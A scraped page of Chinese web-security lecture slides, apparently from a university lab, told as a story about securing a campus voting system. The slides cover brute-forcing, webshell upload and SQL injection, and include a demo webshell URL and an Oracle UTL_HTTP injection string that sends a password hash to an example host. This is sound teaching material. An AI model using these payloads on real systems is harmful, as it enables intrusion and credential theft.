《黄蓉的安全诡计》大结局 攻击票务系统 之一

Slides:



Advertisements
Similar presentations
第七組古文閱讀報告 組長:秀惠 組員:孟筑、雅曼、雅文、盈蓁. 《朱買臣苦學有成》之原文翻譯 朱買臣,字翁子,吳人也。 朱買臣,字翁子,吳國人。 家貧,好讀書,不治產業,常刈(一ˋ)薪 樵,賣以給 (ㄐㄧ ˇ ) 食。 家裡雖然很窮困,但是他還是很喜歡讀書,因 不懂得如何治理產業,只能靠著上山砍材去城.
Advertisements

2014 年 10 月. 学生入学考试 15 位编号 号工号 ****** 北科 MBA 网址: 如: 初试密码为身份证 后六位,登录成功 后可进行修改。
西南政法大学图书馆 江波 重庆. 传统图书馆自动化图书馆复合图书馆数字图书馆  图书馆为图书流通服务所制定的相关规则,包 括图书流通类型、读者类型、读者可借阅图书 数量、可借阅时间、可续借时间、可续借次数、 可预约数量等。
你不知道的 3M P 班級 : 創意二甲 指導老師 : 袁又華 組長 : 林毓茹 組員 : 林以軒 林欣汝 陳盈羽 陳怡如 劉玉婷.
联系电话: 联 系 人:李爱玲 中国人文社会科学文献(CASHL)传递 联系电话: 联 系 人:李爱玲
交流内容 百会公司介绍 基金行业CRM解决方案 基金行业DEMO演示 管客户,用百会CRM.
第6章 数据库管理软件Access 年秋.
SQL的简单查询.
民主國家的政府體制 我國的中央政府體制 我國中央政府的功能 地方政府組織與功能
鞘翅目 生科四乙 蘇俊融.
資料庫系統 曾俊雄.
個人投資理財分析 財務狀況匯總表 銀行存款 共同基金 外幣基金 股票投資 保險價值 黃金投資 支出預算 房貸計算 不動產價值 資源變化資料庫
第35届北京青少年科技创新大赛 网上申报 北京青少年科技中心 2014年12月8日 李佳熹.
Web程序设计基础 太原理工大学 计算机科学与技术学院 林福平 求实创新
UI(用户界面)集训班 Illustrator 高级班.
一、汽车空调基本概念 1、汽车空调发展史 我国于70年代,最早的汽车空调装置使用在长春一汽红旗轿车上。1976年,由原上海内燃机油泵厂今上海汽车空调机厂制造汽车空调,配套在上海牌轿车SH760A轿车中 。
基于解释性语言的手机跨平台架构 Sloan Yi. Qt MTK.
Oracle数据库 Oracle 子程序.
核心价值观记心中 主题班会
第四次大作业 登陆学校图书馆网站的电子数据库
班级小插曲.
在PHP和MYSQL中实现完美的中文显示
计算机基础知识 丁家营镇九年制学校 徐中先.
Cell organized Distributed File Storage
MariaDB Spider分库分表引擎调研
SVN的基本概念 柳峰
第二讲 搭建Java Web开发环境 主讲人:孙娜
数据库实验指导(一)
中国科学技术大学 肖 明 军 《网络信息安全》 中国科学技术大学 肖 明 军
操作資料庫 教授:楊維邦 教授 助教:黃存賢 陳廷宣.
存储系统.
SOA – Experiment 3: Web Services Composition Challenge
SVN服务器的搭建(Windows) 柳峰
SQL Injection.
第11章:一些著名开源软件介绍 第12章:服务安装和配置 本章教学目标: 了解当前一些应用最广泛的开源软件项目 搭建一个网站服务器
第一单元 初识C程序与C程序开发平台搭建 ---观其大略
Chen Kaiming Copyright 2007
Windows网络操作系统管理 ——Windows Server 2008 R2.
第十章 IDL访问数据库 10.1 数据库与数据库访问 1、数据库 数据库中数据的组织由低到高分为四级:字段、记录、表、数据库四种。
第17章 网站发布.
SQL Injection (資料隱碼) 學生:a 吳倩瑜 指導教授:梁明章.
ENS 10.1安装配置指南 王俊涛 | SE.
DevDays ’99 The aim of this mission is knowledge..
任务1-3 使用Dreamweaver创建ASP网页
SOA – Experiment 2: Query Classification Web Service
C语言程序设计 主讲教师:陆幼利.
新PQDT论文全文库提交平台.
学习目标 1、什么是字符集 2、字符集四个级别 3、如何选择字符集.
Web安全基础教程
VB与Access数据库的连接.
Logo语言. Logo语言 视图窗口 小海龟 ?: 提示符 l: 光标 命令窗口.
SAGE-移动终端授权 ----校外访问SAGE资源 北京办公室 1.
计算机网络与网页制作 Chapter 07:Dreamweaver CS5入门
Web安全基础教程
第四組 停車場搜尋系統 第四組 溫允中 陳欣暉 蕭積遠 李雅俐.
JSP实用教程 清华大学出版社 第2章 JSP运行环境和开发环境 教学目标 教学重点 教学过程 2019年5月7日.
iSIGHT 基本培训 使用 Excel的栅栏问题
文档创建与发布操作要点 青海省教育信息中心 2018年12月18日.
Touch Github = Touch the World
OWASP中国介绍 作者:RIP 时间:
第四組 停車場搜尋系統 第四組 溫允中 陳欣暉 蕭積遠 李雅俐.
C++语言程序设计 C++语言程序设计 第一章 C++语言概述 第十一组 C++语言程序设计.
Chinese Virtual Observatory
2018年 4A 創意獎 《數位獎項評選表》.
VB与Access数据库的连接.
使用ADO访问数据库 李宝智 BonizLee 课程 10564A
技專校院多元入學管道 國立臺北科技大學 教務處 涂雅筑.
第六讲 酒店客房管理系统(二) 教育部“十二五”职业教育国家规划教材
入侵检测技术 大连理工大学软件学院 毕玲.
Web安全基础教程
Presentation transcript:

《黄蓉的安全诡计》大结局 攻击票务系统 之一 孙松柏 lukesun629@gmail.com network and information security lab , Tsinghua University

故事概要 T大校长王重阳任期已满 考虑下一任校长应该由全校师 生民主选出 在互联网繁荣的今天,王重阳 校长决定使用电子投票系统来 完成此次校长的换届选举 3/18/2017

任务规划 王重阳委托计算机系主任洪七公 开发和管理团队人员 项目监管和审计人员 预算经费: 10万元 计算机系牵头开发和维护投票系统 郭靖 黄蓉 梅超风 傻姑 华筝 拖雷 项目监管和审计人员 土木系主任:东邪 人文系主任 :南帝 化学系主任 :西毒 心理学主任:瑛姑 预算经费: 10万元 3/18/2017

电子投票系统存在的问题 经费之困 投票实名制 考虑到刷票行为,准备使用学号+照片的形式 安全问题 经费少,准备合用服务器 阻止化学系主任欧阳锋想夺权的图谋 3/18/2017

DB Group, DCS&T, Tsinghua University 学习web攻击平台推荐 WackoPicko by UCSB https://github.com/adamdoupe/WackoPicko/ http://www.gnacktrack.co.uk/ Google http://google-gruyere.appspot.com/ Owasp Broken Web Applications http://www.owaspbwa.org/ 3/18/2017 DB Group, DCS&T, Tsinghua University

问题一 旁注攻击 经过为期两个月的紧张开发,系统准备试运行 10万元经费只够开发一套票务系统和购买web应用防火墙,无力购买新的服务器。洪七公想把投票系统网站放到访问量不是很大的校团委网站服务器上。 黄蓉安全经验较多,明确提出不能将网站放到校团委服务器上,因为容易受到旁注攻击 3/18/2017 3/18/2017 6

问题一 旁注攻击 旁注攻击指的是攻击者想入侵A网站,但是由于A网站的防护很严格,无法渗透进入,但是,A网站的服务器也运行B网站且防护较弱,那么通过注入,跨站等方式拿到服务器的webshell权限后,便可实施对A网站的入侵。 另外一种情况是,探测到某个学校、公司不止一个网站且服务器相互独立。但是内部服务器在同一个局域网内,攻击者可以先控制其中一台服务器作为跳板,对目标服务器发起攻击。 3/18/2017 3/18/2017 7

DB Group, DCS&T, Tsinghua University 问题一 旁注攻击 洪七公经过慎重考虑,还是由计算机内部自行解决 剩余经费问题 购买服务器后,在计算机系内部对投票系统进入试运行 洪七公委托计算机系安全方向的博士生—黄蓉 硕士生—梅超风 查找安全问题,等待下一步在全校范围内进行测试 3/18/2017 DB Group, DCS&T, Tsinghua University

问题二 暴力猜解口令 黄蓉首先关心的是郭靖开发和维护的管理页面 管理页面因为权限很大,很容易收到欧阳锋主任的关注。 暴力口令猜解是由于网页没有对用户输入进行有效的控制,引起攻击者通过远程暴力破解就能猜解口令的一种技术。 3/18/2017

问题二 暴力猜解口令 Demo演示暴力猜解口令 黄蓉要求郭靖在输入口令的时候加入验证码 同时检查输入字符,严格控制输入。 3/18/2017

问题三 代码注入 实名制不仅要求人员有唯一的标志符—学号,还要求所有投票人员上传身份证照片。 梅超风无意中检查了到了注册用户和上传照片的部分。 由于代码对上传照片的格式没有做任何限制。 导致可以上传webshell控制服务器 3/18/2017

问题三 代码注入 Demo演示,梅超风上传php webshell 黄蓉发现投票系统中有一个查询当前得票数的页面。 梅超风建议严格控制上传文件格式 黄蓉发现投票系统中有一个查询当前得票数的页面。 Demo演示,黄蓉测试绕过代码执行 http://192.168.169.168/dvwa/hackable/uploads/new.php?shell=change 3/18/2017

问题四 SQL 注入 SQL注入指的是发生在web应用后台服务器上出现在安全漏洞。简单的说,就是在输入字符串中嵌入SQL指令,在设计程序中忽略了对特殊字符串的检查,这些嵌入的指令便会被误认为正常的SQL指令在数据库中执行,因此可以对后台数据库进行查询等工作,甚至破坏后台数据库造成严重后果。 目前注入大致分为普通注入和盲注。普通注入根据后台数据库提示有价值的错误信息,可以轻松的进行注入活动。盲注(blind injection)则是有经验的管理员在给出错误页面时,没有提供详细的错误信息。攻击者需要运用脚本通过仅有的判断信息对表中的每一个字段进行探测,从而实现输入的技术。就难易程度而言,盲注的难度较大 3/18/2017

MsSql: if(‘a’=‘a’) select 1 else select 2 1、识别数据库 MsSql:select @@version Mysql: select version() Oracle: select banner from v$version select banner from v$version where rownum=1 2、使用uinon语句提出数据 3、使用条件语句 MsSql: if(‘a’=‘a’) select 1 else select 2 MySql: selcet if (‘a’,1,2) 3/18/2017

问题四 SQL 注入 5、窃取hash,识别加密手段: 4、利用数据库错误。 MSSQL2000: hash存储在 master数据库的syslogins表中 MSSQL2005:需要通过查询sql—logins视图检索hash。(SHA1) MYSQL(4.1版本以后):HASH特点 以*号开头,且长度为41个字符。 *B046BBAF61FE3BB6F60CA99AF39F5C2702F00D12(双SHA1) ORACLE11g开始以前采用des加密,以后采用SHA1,且保存在名为spare4 的列中。 3/18/2017

MSSQL 内置email发送功能.xp_sendmail扩展存储功能。 6、高级方法(out of band ) MSSQL 内置email发送功能.xp_sendmail扩展存储功能。 Oracle 不仅提供了email的发送功能 ,还提供了两种http请求 方法. UTL_HTTP和HTTPURI_TYPE 想要想远程系统发送sys用户的hash口令,可以注入下列字符 OR 1=utl_http.resuest(http://www.example.com/’||(select password from aba_users where rownum=1)) .getclob() -- 3/18/2017

问题四 SQL 注入 化学系研究生欧阳克潜入计算机系机房 企图渗透票务系统。 Demo sql 注入演示。 3/18/2017

TO BE CONTINUED 经过计算机系内部测试一段时间,洪七公准备在全校范围内进行测试,票务系统等于完全暴露在欧阳锋团队之下,欧阳锋是否有足够的手段成功攻击票务系统,请听下回分解。 3/18/2017

THANKS for LISTENING 3/18/2017